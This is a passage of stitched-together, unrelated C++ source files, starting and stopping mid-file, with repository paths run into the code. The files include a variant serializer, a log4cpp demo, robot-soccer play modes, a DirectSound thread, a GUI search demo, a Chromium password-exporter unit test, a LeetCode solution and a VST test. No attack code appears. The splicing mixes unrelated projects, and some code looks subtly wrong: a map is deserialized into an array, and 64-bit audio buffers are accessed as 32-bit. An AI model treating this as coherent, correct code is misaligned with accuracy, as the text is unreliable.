type_ = Type::FIXED_POINT; primitive_.integer = value.Data(); return *this; } /** * ByteArray assignment operator * * @tparam T A byte array type * @param value The value to assign * @return The reference to the updated variant */ template meta::IfIsAByteArray Variant::operator=(T const &value) // NOLINT { type_ = Type::STRING; string_ = value; return *this; } /** * std::string assignment operator * * @tparam T A std::string type * @param value The value to assign * @return The reference to the updated variant */ template meta::IfIsStdString Variant::operator=(T const &value) // NOLINT { type_ = Type::STRING; string_ = ConstByteArray{value}; return *this; } /** * Iterates through items contained in variant Object (CONST version) * * @details This const CONST version of the @refitem(Variant::IterateObject) * method, thus it is NOT possible to modify value of items iterated through. * * @tparam Function - Please see desc. for the @refitem(Function) in the * @refitem(Variant::IterateObject) method. Since this is CONST version, passed * items of variant Object are IMMUTABLE, thus the implication is that signature * of the `Function` instance changes to: `bool(Variant const& item)`. * * @param function - Instance of functor, which will be called per each item * contained in the Variant Object, please see description of the the * @refitem(Function) for details. * * @return true if deserialisation passed successfully, false otherwise. */ template void Variant::IterateObject(Function const &function) const { if (IsObject()) { for (auto const &item : object_) { if (!function(item.first, *item.second)) { break; } } } else { throw std::runtime_error("Variant type mismatch, expected `object` type."); } } } // namespace variant namespace serializers { template struct ForwardSerializer { public: using Type = variant::Variant; using DriverType = D; using Variant = fetch::variant::Variant; template static void Serialize(Serializer &serializer, Type const &var) { switch (var.type()) { case Type::Type::UNDEFINED: { // TODO(tfr): Work out if msgpack has support for undefined return; } case Type::Type::NULL_VALUE: { // TODO(tfr): Work out if msgpack has support for null return; } case Type::Type::INTEGER: { serializer << var.As(); return; } case Type::Type::FLOATING_POINT: { serializer << var.As(); return; } case Type::Type::FIXED_POINT: { serializer << var.As(); return; } case Type::Type::BOOLEAN: { serializer << var.As(); return; } case Type::Type::STRING: { serializer << var.As(); return; } case Type::Type::ARRAY: { auto constructor = serializer.NewArrayConstructor(); auto array_buffer = constructor(var.size()); for (std::size_t i = 0; i < var.size(); i++) { array_buffer.Append(var[i]); } return; } case Type::Type::OBJECT: { auto constructor = serializer.NewMapConstructor(); auto map_buffer = constructor(var.size()); var.IterateObject([&](auto const &k, auto const &v) { map_buffer.Append(k, v); return true; }); return; } }; throw std::runtime_error{"Variant has unknown type."}; } template static void Deserialize(Deserializer &deserializer, Type &var) { using SerializerTypes = serializers::SerializerTypes; switch (deserializer.GetNextType()) { // TODO(tfr): Add MsgPack support case SerializerTypes::BINARY: case SerializerTypes::EXTENSION: case SerializerTypes::UNKNOWN: { var = Variant::Undefined(); return; } case SerializerTypes::NULL_VALUE: { var = Variant::Null(); return; } case SerializerTypes::UNSIGNED_INTEGER: { uint64_t tmp; deserializer >> tmp; var = tmp; return; } case SerializerTypes::INTEGER: { int64_t tmp; deserializer >> tmp; var = tmp; return; } case SerializerTypes::FLOATING_POINT: { double tmp; deserializer >> tmp; var = tmp; return; } /* // TODO(tfr): ADD SUPPORT case SerializerTypes::FIXED_POINT: { fixed_point::fp64_t tmp; deserializer >> tmp; var = tmp; return; } */ case SerializerTypes::BOOLEAN: { bool tmp; deserializer >> tmp; var = tmp; return; } case SerializerTypes::STRING: { byte_array::ConstByteArray tmp; deserializer >> tmp; var = tmp; return; } case SerializerTypes::ARRAY: { auto array = deserializer.NewArrayDeserializer(); var = variant::Variant::Array(array.size()); for (std::size_t i = 0; i < array.size(); i++) { array.GetNextValue(var[i]); } return; } case SerializerTypes::MAP: { auto map = deserializer.NewMapDeserializer(); var = variant::Variant::Array(map.size()); for (std::size_t i = 0; i < map.size(); i++) { byte_array::ConstByteArray key; Type value; map.GetNextKeyPair(key, value); var[key] = value; } return; } }; throw std::runtime_error{"Variant has unknown type."}; } }; } // namespace serializers } // namespace fetch libs/IDLBaseVisitor.cpp // Generated from IDL.g4 by ANTLR 4.9.1 #include "IDLBaseVisitor.h" #include #include int main(int argc, char* argv[]) { std::string initFileName = "log4cpp.properties"; log4cpp::PropertyConfigurator::configure(initFileName); log4cpp::Category& root = log4cpp::Category::getRoot(); log4cpp::Category& sub1 = log4cpp::Category::getInstance(std::string("sub1")); log4cpp::Category& sub2 = log4cpp::Category::getInstance(std::string("sub1.sub2")); root.warn("Storm is coming"); sub1.debug("Received storm warning"); sub1.info("Closing all hatches"); sub2.debug("Hiding solar panels"); sub2.error("Solar panels are blocked"); sub2.debug("Applying protective shield"); sub2.warn("Unfolding protective shield"); sub2.info("Solar panels are shielded"); sub1.info("All hatches closed"); root.info("Ready for storm."); log4cpp::Category::shutdown(); return 0; } /** * @file SimSparkGameInfo.cpp * * @author * @breief the game information in SimSpark */ #include "SimSparkGameInfo.h" #include using namespace std; using namespace naoth; /** mapping from PlayMode to string constants */ #define STR_PM_BeforeKickOff "BeforeKickOff" #define STR_PM_KickOff_Left "KickOff_Left" #define STR_PM_KickOff_Right "KickOff_Right" #define STR_PM_PlayOn "PlayOn" #define STR_PM_KickIn_Left "KickIn_Left" #define STR_PM_KickIn_Right "KickIn_Right" #define STR_PM_CORNER_KICK_LEFT "corner_kick_left" #define STR_PM_CORNER_KICK_RIGHT "corner_kick_right" #define STR_PM_GOAL_KICK_LEFT "goal_kick_left" #define STR_PM_GOAL_KICK_RIGHT "goal_kick_right" #define STR_PM_OFFSIDE_LEFT "offside_left" #define STR_PM_OFFSIDE_RIGHT "offside_right" #define STR_PM_GAME_OVER "GameOver" #define STR_PM_GOAL_LEFT "Goal_Left" #define STR_PM_GOAL_RIGHT "Goal_Right" #define STR_PM_FREE_KICK_LEFT "free_kick_left" #define STR_PM_FREE_KICK_RIGHT "free_kick_right" #define STR_PM_UNKNOWN "unknown" SimSparkGameInfo::PlayMode SimSparkGameInfo::getPlayModeByName(const string& name) { if (STR_PM_PlayOn == name) return PM_PLAY_ON; if (STR_PM_BeforeKickOff == name) return PM_BEFORE_KICK_OFF; if (STR_PM_KickOff_Left == name) return PM_KICK_OFF_LEFT; if (STR_PM_KickOff_Right == name) return PM_KICK_OFF_RIGHT; if (STR_PM_KickIn_Left == name) return PM_KICK_IN_LEFT; if (STR_PM_KickIn_Right == name) return PM_KICK_IN_RIGHT; if (STR_PM_CORNER_KICK_LEFT == name) return PM_CORNER_KICK_LEFT; if (STR_PM_CORNER_KICK_RIGHT == name) return PM_CORNER_KICK_RIGHT; if (STR_PM_GOAL_KICK_LEFT == name) return PM_GOAL_KICK_LEFT; if (STR_PM_GOAL_KICK_RIGHT == name) return PM_GOAL_KICK_RIGHT; if (STR_PM_OFFSIDE_LEFT == name) return PM_OFFSIDE_LEFT; if (STR_PM_OFFSIDE_RIGHT == name) return PM_OFFSIDE_RIGHT; if (STR_PM_GAME_OVER == name) return PM_GAME_OVER; if (STR_PM_GOAL_LEFT == name) return PM_GOAL_LEFT; if (STR_PM_GOAL_RIGHT == name) return PM_GOAL_RIGHT; if (STR_PM_FREE_KICK_LEFT == name) return PM_FREE_KICK_LEFT; if (STR_PM_FREE_KICK_RIGHT == name) return PM_FREE_KICK_RIGHT; return numOfPlayMode; } string SimSparkGameInfo::getPlayModeName(SimSparkGameInfo::PlayMode pm) { switch (pm) { case PM_BEFORE_KICK_OFF: return STR_PM_BeforeKickOff; case PM_KICK_OFF_LEFT: return STR_PM_KickOff_Left; case PM_KICK_OFF_RIGHT: return STR_PM_KickOff_Right; case PM_PLAY_ON: return STR_PM_PlayOn; case PM_KICK_IN_LEFT: return STR_PM_KickIn_Left; case PM_KICK_IN_RIGHT: return STR_PM_KickIn_Right; case PM_CORNER_KICK_LEFT: return STR_PM_CORNER_KICK_LEFT; case PM_CORNER_KICK_RIGHT: return STR_PM_CORNER_KICK_RIGHT; case PM_GOAL_KICK_LEFT: return STR_PM_GOAL_KICK_LEFT; case PM_GOAL_KICK_RIGHT: return STR_PM_GOAL_KICK_RIGHT; case PM_OFFSIDE_LEFT: return STR_PM_OFFSIDE_LEFT; case PM_OFFSIDE_RIGHT: return STR_PM_OFFSIDE_RIGHT; case PM_GAME_OVER: return STR_PM_GAME_OVER; case PM_GOAL_LEFT: return STR_PM_GOAL_LEFT; case PM_GOAL_RIGHT: return STR_PM_GOAL_RIGHT; case PM_FREE_KICK_LEFT: return STR_PM_FREE_KICK_LEFT; case PM_FREE_KICK_RIGHT: return STR_PM_FREE_KICK_RIGHT; default: return STR_PM_UNKNOWN; } } GameData::GameState SimSparkGameInfo::covertToGameState(SimSparkGameInfo::PlayMode pm) { switch(pm) { case PM_BEFORE_KICK_OFF: case PM_KICK_OFF_LEFT: case PM_KICK_OFF_RIGHT: case PM_PLAY_ON: case PM_KICK_IN_LEFT: case PM_KICK_IN_RIGHT: case PM_CORNER_KICK_LEFT: case PM_CORNER_KICK_RIGHT: case PM_GOAL_KICK_LEFT: case PM_GOAL_KICK_RIGHT: case PM_OFFSIDE_LEFT: case PM_OFFSIDE_RIGHT: case PM_GOAL_LEFT: case PM_GOAL_RIGHT: case PM_FREE_KICK_LEFT: case PM_FREE_KICK_RIGHT: return GameData::playing; case PM_GAME_OVER: return GameData::finished; default: break; } return GameData::unknown_game_state; } 10-100 // // ds3dutil.cpp // // basic utilility functions used by the DirectSound3D wrappers. // #include "soundbase.h" #include "ds3dutil.h" #include namespace SoundEngine { // the initialization of the worker thread void WorkerThread::ThreadInit() { } // any cleanup code void WorkerThread::ThreadCleanup() { } // a thread entry point unsigned __stdcall WorkerThread::ThreadStart(LPVOID lpvThis) { ((WorkerThread*)(lpvThis))->Execute(); return 0; } // the thread's main loop void WorkerThread::Execute() { ThreadInit(); bool bMoreToDo = true; while (bMoreToDo && WaitForSingleObject(m_hEventExit, m_nSleepTime) == WAIT_TIMEOUT) { bMoreToDo = ThreadIteration(); } ThreadCleanup(); } WorkerThread::WorkerThread() : m_hThread(nullptr), m_hEventExit(nullptr) { } WorkerThread::~WorkerThread() { StopThread(); } // starts a thread with the given priority that sleeps for the given time // between each iteration. void WorkerThread::StartThread(int nPriority, int nSleepTime) { assert(!m_hEventExit); if (!m_hEventExit) { unsigned dwThreadId; m_nSleepTime = nSleepTime; m_hEventExit = CreateEvent(nullptr, TRUE, FALSE, nullptr); m_hThread = (HANDLE)_beginthreadex(nullptr, 0, &ThreadStart, this, 0, &dwThreadId); SetThreadPriority(m_hThread, nPriority); } } // stops the thread. void WorkerThread::StopThread() { if (m_hEventExit) { SetEvent(m_hEventExit); WaitForSingleObject(m_hThread, INFINITE); CloseHandle(m_hThread); m_hThread = nullptr; CloseHandle(m_hEventExit); m_hEventExit = nullptr; } } // performs a single pass through the task list bool TaskListThread::ThreadIteration() { std::lock_guard lock(m_csTaskList); for (TaskList::iterator iterTask = m_listTasks.begin(); iterTask != m_listTasks.end();) { if (!(*iterTask)->Execute()) { iterTask = m_listTasks.erase(iterTask); } else { ++iterTask; } } return true; } // Adds a new task to the list. void TaskListThread::AddTask(Task* ptask) { std::lock_guard lock(m_csTaskList); m_listTasks.insert(ptask); } // removes a task from the list. void TaskListThread::RemoveTask(Task* ptask) { std::lock_guard lock(m_csTaskList); m_listTasks.erase(ptask); } // checks to see if we have the given task bool TaskListThread::HasTask(Task* ptask) { std::lock_guard lock(m_csTaskList); return (m_listTasks.find(ptask) != m_listTasks.end()); } }; 0 #include "random.h" #include void Random::setSeed(unsigned int seed){ srand(seed); } /** * @brief Random::randBetween returns a number between min and max (inclusive) * @param min * @param max * @return */ int Random::randBetweenInclusive(int min, int max){ if(min > max){ std::cout << "min is not less than max in rand between. min: " << min << ", max: " << max << std::endl; throw -1; } int dif = (max+1)-min; return rand() % dif + min; } int Random::randBetweenExclusive(int min, int max){ return randBetweenInclusive(min, max-1); } int Random::randBetweenInclusive(glm::ivec2 range){ return randBetweenInclusive(range.x, range.y); } #include #include "../src/util.hpp" #include "../src/application.hpp" #include "../src/controls/line_edit.hpp" #include "../src/controls/scrolled_box.hpp" #include "../src/controls/label.hpp" int main(int argc, char **argv) { Application *app = Application::get(); app->onReady = [&](Window *window) { if (argc > 1) { if (std::string(argv[1]) == std::string("quit")) { window->quit(); } } }; app->setTitle("LineEdit"); std::vector monster_names = { "Great Jagras", "Kulu-Ya-Ku", "Pukei-Pukei", "Barroth", "Jyuratodus", "Tobi-Kadachi", "Anjanath", "Rathian", "Tzitzi-Ya-Ku", "Paolumu", "Great Girros", "Radobaan", "Legiana", "Odogaron", "Rathalos", "Diablos", "Kirin", "Zorah Magdaros", "Dodogama", "Pink Rathian", "Bazelgeuse", "Deviljho", "Lavasioth", "Uragaan", "Azure Rathalos", "Black Diablos", "Nergigante", "Teostra", "Lunastra", "Kushala Daora", "Vaal Hazak", "", "Xeno'jiiva", "Behemoth", "Leshen", "Ancient Leshen", }; sort(monster_names.begin(), monster_names.end()); ScrolledBox *results_view; LineEdit *edit = new LineEdit(); edit->setPlaceholderText("Search by name"); edit->onTextChanged.addEventListener([&]{ while (results_view->children.size()) { results_view->children[0]->destroy(); } for (auto m : monster_names) { auto monster = m; std::transform(monster.begin(), monster.end(), monster.begin(), [](unsigned char c){ return std::tolower(c); }); auto search_phrase = edit->text(); std::transform(search_phrase.begin(), search_phrase.end(), search_phrase.begin(), [](unsigned char c){ return std::tolower(c); }); if (monster.find(search_phrase) != std::string::npos || !search_phrase.size()) { results_view->append(new Label(m)); } } }); app->append(edit, Fill::Horizontal); results_view = new ScrolledBox(Align::Vertical); for (auto m : monster_names) { results_view->append(new Label(m)); } app->append(results_view, Fill::Both); app->run(); return 0; } stefaniatadama/cps2000-minilang-interpreter #include "ASTAssignmentStatementNode.h" ASTAssignmentStatementNode::ASTAssignmentStatementNode(ASTIdentifierExpressionNode* id, ASTExpressionNode* expr){ identifier = id; assignmentExpression = expr; } void ASTAssignmentStatementNode::accept(Visitor* v){ v->visit(this); }components/password_manager/core/browser/export/password_manager_exporter_unittest.cc1000+ // Copyright 2017 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #include "components/password_manager/core/browser/export/password_manager_exporter.h" #include #include #include #include #include "base/strings/utf_string_conversions.h" #include "base/test/metrics/histogram_tester.h" #include "base/test/mock_callback.h" #include "base/test/task_environment.h" #include "build/build_config.h" #include "components/password_manager/core/browser/export/password_csv_writer.h" #include "components/password_manager/core/browser/password_form.h" #include "components/password_manager/core/browser/password_manager_metrics_util.h" #include "components/password_manager/core/browser/ui/credential_provider_interface.h" #include "components/password_manager/core/browser/ui/export_progress_status.h" #include "testing/gmock/include/gmock/gmock.h" #include "testing/gtest/include/gtest/gtest.h" namespace password_manager { namespace { using ::testing::_; using ::testing::AnyNumber; using ::testing::IsEmpty; using ::testing::NiceMock; using ::testing::Not; using ::testing::Return; using ::testing::SaveArg; using ::testing::StrEq; using ::testing::StrictMock; // A callback that matches the signature of the StringPiece variant of // base::WriteFile(). using WriteCallback = base::RepeatingCallback; using DeleteCallback = PasswordManagerExporter::DeleteCallback; using SetPosixFilePermissionsCallback = PasswordManagerExporter::SetPosixFilePermissionsCallback; #if defined(OS_WIN) const base::FilePath::CharType kNullFileName[] = FILE_PATH_LITERAL("/nul"); #else const base::FilePath::CharType kNullFileName[] = FILE_PATH_LITERAL("/dev/null"); #endif // Provides a predetermined set of credentials class FakeCredentialProvider : public CredentialProviderInterface { public: FakeCredentialProvider() = default; FakeCredentialProvider(const FakeCredentialProvider&) = delete; FakeCredentialProvider& operator=(const FakeCredentialProvider&) = delete; void SetPasswordList( const std::vector>& password_list) { password_list_.clear(); for (const auto& form : password_list) { password_list_.push_back(std::make_unique(*form)); } } // CredentialProviderInterface: std::vector> GetAllPasswords() override { std::vector> ret_val; for (const auto& form : password_list_) { ret_val.push_back(std::make_unique(*form)); } return ret_val; } private: std::vector> password_list_; }; // Creates a hardcoded set of credentials for tests. std::vector> CreatePasswordList() { auto password_form = std::make_unique(); password_form->url = GURL("http://accounts.google.com/a/LoginAuth"); password_form->username_value = u""; password_form->password_value = u""; std::vector> password_forms; password_forms.push_back(std::move(password_form)); return password_forms; } class PasswordManagerExporterTest : public testing::Test { public: PasswordManagerExporterTest() : task_environment_(base::test::TaskEnvironment::MainThreadType::UI), exporter_(&fake_credential_provider_, mock_on_progress_.Get()), destination_path_(kNullFileName) { exporter_.SetWriteForTesting(mock_write_file_.Get()); exporter_.SetDeleteForTesting(mock_delete_file_.Get()); exporter_.SetSetPosixFilePermissionsForTesting( mock_set_posix_file_permissions_.Get()); } PasswordManagerExporterTest(const PasswordManagerExporterTest&) = delete; PasswordManagerExporterTest& operator=(const PasswordManagerExporterTest&) = delete; ~PasswordManagerExporterTest() override = default; protected: base::test::TaskEnvironment task_environment_; FakeCredentialProvider fake_credential_provider_; base::MockCallback< base::RepeatingCallback> mock_on_progress_; PasswordManagerExporter exporter_; StrictMock> mock_write_file_; StrictMock> mock_delete_file_; NiceMock> mock_set_posix_file_permissions_; base::FilePath destination_path_; base::HistogramTester histogram_tester_; }; TEST_F(PasswordManagerExporterTest, PasswordExportSetPasswordListFirst) { std::vector> password_list = CreatePasswordList(); fake_credential_provider_.SetPasswordList(password_list); const std::string serialised( PasswordCSVWriter::SerializePasswords(password_list)); EXPECT_CALL(mock_write_file_, Run(destination_path_, StrEq(serialised))) .WillOnce(Return(true)); EXPECT_CALL(mock_on_progress_, Run(ExportProgressStatus::IN_PROGRESS, IsEmpty())); EXPECT_CALL(mock_on_progress_, Run(ExportProgressStatus::SUCCEEDED, IsEmpty())); exporter_.PreparePasswordsForExport(); exporter_.SetDestination(destination_path_); task_environment_.RunUntilIdle(); } // When writing fails, we should notify the UI of the failure and try to cleanup // a possibly partial passwords file. TEST_F(PasswordManagerExporterTest, WriteFileFailed) { fake_credential_provider_.SetPasswordList(CreatePasswordList()); const std::string destination_folder_name( destination_path_.DirName().BaseName().AsUTF8Unsafe()); EXPECT_CALL(mock_write_file_, Run(_, _)).WillOnce(Return(false)); EXPECT_CALL(mock_delete_file_, Run(destination_path_)); EXPECT_CALL(mock_on_progress_, Run(ExportProgressStatus::IN_PROGRESS, IsEmpty())); EXPECT_CALL(mock_on_progress_, Run(ExportProgressStatus::FAILED_WRITE_FAILED, StrEq(destination_folder_name))); exporter_.PreparePasswordsForExport(); exporter_.SetDestination(destination_path_); task_environment_.RunUntilIdle(); } // Test that GetProgressStatus() returns the last ExportProgressStatus sent // to the callback. TEST_F(PasswordManagerExporterTest, GetProgressReturnsLastCallbackStatus) { std::vector> password_list = CreatePasswordList(); fake_credential_provider_.SetPasswordList(password_list); const std::string serialised( PasswordCSVWriter::SerializePasswords(password_list)); const std::string destination_folder_name( destination_path_.DirName().BaseName().AsUTF8Unsafe()); // The last status seen in the callback. ExportProgressStatus status = ExportProgressStatus::NOT_STARTED; EXPECT_CALL(mock_write_file_, Run(_, _)).WillOnce(Return(true)); EXPECT_CALL(mock_on_progress_, Run(_, _)).WillRepeatedly(SaveArg<0>(&status)); ASSERT_EQ(exporter_.GetProgressStatus(), status); exporter_.PreparePasswordsForExport(); exporter_.SetDestination(destination_path_); ASSERT_EQ(exporter_.GetProgressStatus(), status); task_environment_.RunUntilIdle(); ASSERT_EQ(exporter_.GetProgressStatus(), status); } TEST_F(PasswordManagerExporterTest, DontExportWithOnlyDestination) { fake_credential_provider_.SetPasswordList(CreatePasswordList()); EXPECT_CALL(mock_write_file_, Run(_, _)).Times(0); EXPECT_CALL(mock_on_progress_, Run(ExportProgressStatus::IN_PROGRESS, IsEmpty())); exporter_.SetDestination(destination_path_); task_environment_.RunUntilIdle(); } TEST_F(PasswordManagerExporterTest, CancelAfterPasswords) { fake_credential_provider_.SetPasswordList(CreatePasswordList()); EXPECT_CALL(mock_write_file_, Run(_, _)).Times(0); EXPECT_CALL(mock_on_progress_, Run(ExportProgressStatus::FAILED_CANCELLED, IsEmpty())); exporter_.PreparePasswordsForExport(); exporter_.Cancel(); task_environment_.RunUntilIdle(); } TEST_F(PasswordManagerExporterTest, CancelWhileExporting) { fake_credential_provider_.SetPasswordList(CreatePasswordList()); EXPECT_CALL(mock_write_file_, Run(_, _)).Times(0); EXPECT_CALL(mock_delete_file_, Run(destination_path_)); EXPECT_CALL(mock_on_progress_, Run(ExportProgressStatus::IN_PROGRESS, IsEmpty())); EXPECT_CALL(mock_on_progress_, Run(ExportProgressStatus::FAILED_CANCELLED, IsEmpty())); exporter_.PreparePasswordsForExport(); exporter_.SetDestination(destination_path_); exporter_.Cancel(); task_environment_.RunUntilIdle(); } // The "Cancel" button may still be visible on the UI after we've completed // exporting. If they choose to cancel, we should clear the file. TEST_F(PasswordManagerExporterTest, CancelAfterExporting) { fake_credential_provider_.SetPasswordList(CreatePasswordList()); EXPECT_CALL(mock_write_file_, Run(_, _)).WillOnce(Return(true)); EXPECT_CALL(mock_delete_file_, Run(destination_path_)); EXPECT_CALL(mock_on_progress_, Run(ExportProgressStatus::IN_PROGRESS, IsEmpty())); EXPECT_CALL(mock_on_progress_, Run(ExportProgressStatus::SUCCEEDED, IsEmpty())); EXPECT_CALL(mock_on_progress_, Run(ExportProgressStatus::FAILED_CANCELLED, IsEmpty())); exporter_.PreparePasswordsForExport(); exporter_.SetDestination(destination_path_); task_environment_.RunUntilIdle(); exporter_.Cancel(); task_environment_.RunUntilIdle(); } #if defined(OS_POSIX) // Chrome creates files using the broadest permissions allowed. Passwords are // sensitive and should be explicitly limited to the owner. TEST_F(PasswordManagerExporterTest, OutputHasRestrictedPermissions) { fake_credential_provider_.SetPasswordList(CreatePasswordList()); EXPECT_CALL(mock_write_file_, Run(_, _)).WillOnce(Return(true)); EXPECT_CALL(mock_set_posix_file_permissions_, Run(destination_path_, 0600)) .WillOnce(Return(true)); EXPECT_CALL(mock_on_progress_, Run(_, _)).Times(AnyNumber()); exporter_.PreparePasswordsForExport(); exporter_.SetDestination(destination_path_); task_environment_.RunUntilIdle(); } #endif TEST_F(PasswordManagerExporterTest, DeduplicatesAcrossPasswordStores) { auto password = std::make_unique(); password->in_store = PasswordForm::Store::kProfileStore; password->url = GURL("http://g.com/auth"); password->username_value = u""; password->password_value = u"password"; auto password_duplicate = std::make_unique(*password); password_duplicate->in_store = PasswordForm::Store::kAccountStore; std::vector> password_list; password_list.push_back(std::move(password)); const std::string single_password_serialised( PasswordCSVWriter::SerializePasswords(password_list)); password_list.push_back(std::move(password_duplicate)); fake_credential_provider_.SetPasswordList(password_list); // The content written to the file should be the same as what would be // computed before the duplicated password was added. EXPECT_CALL(mock_write_file_, Run(destination_path_, StrEq(single_password_serialised))) .WillOnce(Return(true)); EXPECT_CALL(mock_on_progress_, Run(ExportProgressStatus::IN_PROGRESS, IsEmpty())); EXPECT_CALL(mock_on_progress_, Run(ExportProgressStatus::SUCCEEDED, IsEmpty())); exporter_.PreparePasswordsForExport(); exporter_.SetDestination(destination_path_); task_environment_.RunUntilIdle(); } } // namespace } // namespace password_manager cores/arduino/ard_sup/debugging/ap3_debugging.cpp #include "ap3_debugging.h" gb/commands/highlight.cc // Copyright 2019 The Galactic Bloodshed Authors. All rights reserved. // Use of this source code is governed by a license that can be // found in the COPYING file. /// \file highlight.cc /// \brief Toggle highlight option on a player. import gblib; import std; #include "gb/commands/highlight.h" #include "gb/GB_server.h" #include "gb/buffers.h" #include "gb/files_shl.h" #include "gb/races.h" #include "gb/shlmisc.h" #include "gb/vars.h" void highlight(const command_t &argv, GameObj &g) { player_t Playernum = g.player; governor_t Governor = g.governor; // TODO(jeffbailey): ap_t APcount = 0; player_t n; if (!(n = get_player(argv[1]))) { g.out << "No such player.\n"; return; } auto &race = races[Playernum - 1]; race.governor[Governor].toggle.highlight = n; putrace(race); } killf/leetcode_cpp #include #include #include #include #include #include #include #include #include #include using namespace std; class Solution { public: int findLengthOfLCIS(vector &nums) { if (nums.empty())return 0; int result = 1, count = 1, size = nums.size(); for (int i = 0; i < size - 1; i++) { if (nums[i] < nums[i + 1]) count++; else { result = max(result, count); count = 1; } } return max(result, count); } };//----------------------------------------------------------------------------- // Flags : clang-format SMTGSequencer // Project : VST SDK // // Category : Validator // Filename : public.sdk/source/vst/testsuite/processing/silenceprocessing.cpp // Created by : Steinberg, 04/2005 // Description : VST Test Suite // //----------------------------------------------------------------------------- // LICENSE // (c) 2019, Steinberg Media Technologies GmbH, All Rights Reserved //----------------------------------------------------------------------------- // Redistribution and use in source and binary forms, with or without modification, // are permitted provided that the following conditions are met: // // * Redistributions of source code must retain the above copyright notice, // this list of conditions and the following disclaimer. // * Redistributions in binary form must reproduce the above copyright notice, // this list of conditions and the following disclaimer in the documentation // and/or other materials provided with the distribution. // * Neither the name of the Steinberg Media Technologies nor the names of its // contributors may be used to endorse or promote products derived from this // software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND // ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED // WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. // IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, // INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, // BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, // DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF // LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE // OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED // OF THE POSSIBILITY OF SUCH DAMAGE. //----------------------------------------------------------------------------- #include "public.sdk/source/vst/testsuite/processing/silenceprocessing.h" #include //------------------------------------------------------------------------ namespace Steinberg { namespace Vst { //------------------------------------------------------------------------ // SilenceProcessingTest //------------------------------------------------------------------------ SilenceProcessingTest::SilenceProcessingTest (ITestPlugProvider* plugProvider, ProcessSampleSize sampl) : ProcessTest (plugProvider, sampl) { } //------------------------------------------------------------------------ bool SilenceProcessingTest::isBufferSilent (void* buffer, int32 numSamples, ProcessSampleSize sampl) { if (sampl == kSample32) { const float kSilenceThreshold = 0.000132184039f; float* floatBuffer = (float*)buffer; while (numSamples--) { if (fabsf (*floatBuffer) > kSilenceThreshold) return false; floatBuffer++; } } else if (sampl == kSample64) { const double kSilenceThreshold = 0.000132184039; double* floatBuffer = (double*)buffer; while (numSamples--) { if (fabs (*floatBuffer) > kSilenceThreshold) return false; floatBuffer++; } } return true; } //------------------------------------------------------------------------ bool PLUGIN_API SilenceProcessingTest::run (ITestResult* testResult) { if (!vstPlug || !testResult || !audioEffect) return false; if (!canProcessSampleSize (testResult)) return true; printTestHeader (testResult); if (processData.inputs != nullptr) { audioEffect->setProcessing (true); for (int32 busIndex = 0; busIndex < processData.numInputs; busIndex++) { processData.inputs[busIndex].silenceFlags = 0; for (int32 channelIndex = 0; channelIndex < processData.inputs[busIndex].numChannels; channelIndex++) { processData.inputs[busIndex].silenceFlags |= (uint64)1 << (uint64)channelIndex; if (processData.symbolicSampleSize == kSample32) memset (processData.inputs[busIndex].channelBuffers32[channelIndex], 0, sizeof (float) * processData.numSamples); else if (processData.symbolicSampleSize == kSample64) memset (processData.inputs[busIndex].channelBuffers32[channelIndex], 0, sizeof (double) * processData.numSamples); } } for (int32 busIndex = 0; busIndex < processData.numOutputs; busIndex++) { if (processData.numInputs > busIndex) processData.outputs[busIndex].silenceFlags = processData.inputs[busIndex].silenceFlags; else { processData.outputs[busIndex].silenceFlags = 0; for (int32 channelIndex = 0; channelIndex < processData.inputs[busIndex].numChannels; channelIndex++) processData.outputs[busIndex].silenceFlags |= (uint64)1 << (uint64)channelIndex; } } tresult result = audioEffect->process (processData); if (result != kResultOk) { addErrorMessage (testResult, printf ("%s", "The component failed to process!")); audioEffect->setProcessing (false); return false; } for (int32 busIndex = 0; busIndex < processData.numOutputs; busIndex++) { for (int32 channelIndex = 0; channelIndex < processData.outputs[busIndex].numChannels; channelIndex++) { bool channelShouldBeSilent = (processData.outputs[busIndex].silenceFlags & (uint64)1 << (uint64)channelIndex) != 0; bool channelIsSilent = isBufferSilent (processData.outputs[busIndex].channelBuffers32[channelIndex], processData.numSamples, processData.symbolicSampleSize); if (channelShouldBeSilent != channelIsSilent) { constexpr auto silentText = STR ( "The component reported a wrong silent flag for its output buffer! : output is silent but silenceFlags not set !"); constexpr auto nonSilentText = STR ( "The component reported a wrong silent flag for its output buffer! : silenceFlags is set to silence but output is not silent"); addMessage (testResult, channelIsSilent ? silentText : nonSilentText); break; } } } } else if (processData.numInputs > 0) { addErrorMessage (testResult, STR ("ProcessData::inputs are 0 but ProcessData::numInputs are nonzero.")); return false; } audioEffect->setProcessing (false); return true; } //------------------------------------------------------------------------ } // Vst } // Steinberg woutdp/HocusPocus1-10 //--------------------------- // Includes //--------------------------- #include "ScoreText.h" //--------------------------- // Defines //--------------------------- #define GAME_ENGINE (GameEngine::GetSingleton()) //--------------------------- // Constructor & Destructor //--------------------------- Bitmap * ScoreText::m_BmpScoreTextPtr = 0; ScoreText::ScoreText():m_Pos(0,0) { if (m_BmpScoreTextPtr == 0) { m_BmpScoreTextPtr = new Bitmap("./Resources/ScoreText.png"); m_BmpScoreTextPtr->SetTransparencyColor(255,0,255); } } ScoreText::~ScoreText() { delete m_BmpScoreTextPtr; m_BmpScoreTextPtr = 0; } void ScoreText::Tick(double deltaTime) { } void ScoreText::Paint(String input, int posX , int posY,MATRIX3X2 matView, int widthBox) { MATRIX3X2 matTranslate; RECT2 r; int lengthInput = input.GetLength(); DOUBLE2 pos(posX,posY); pos.x += widthBox/2; pos.x -= (lengthInput*16)/2; pos.y += 2; if (input.CharAt(0) == '1') { pos.x += 2; } r.top = 0; r.bottom = r.top + HEIGHT; for (int i = 0; i < 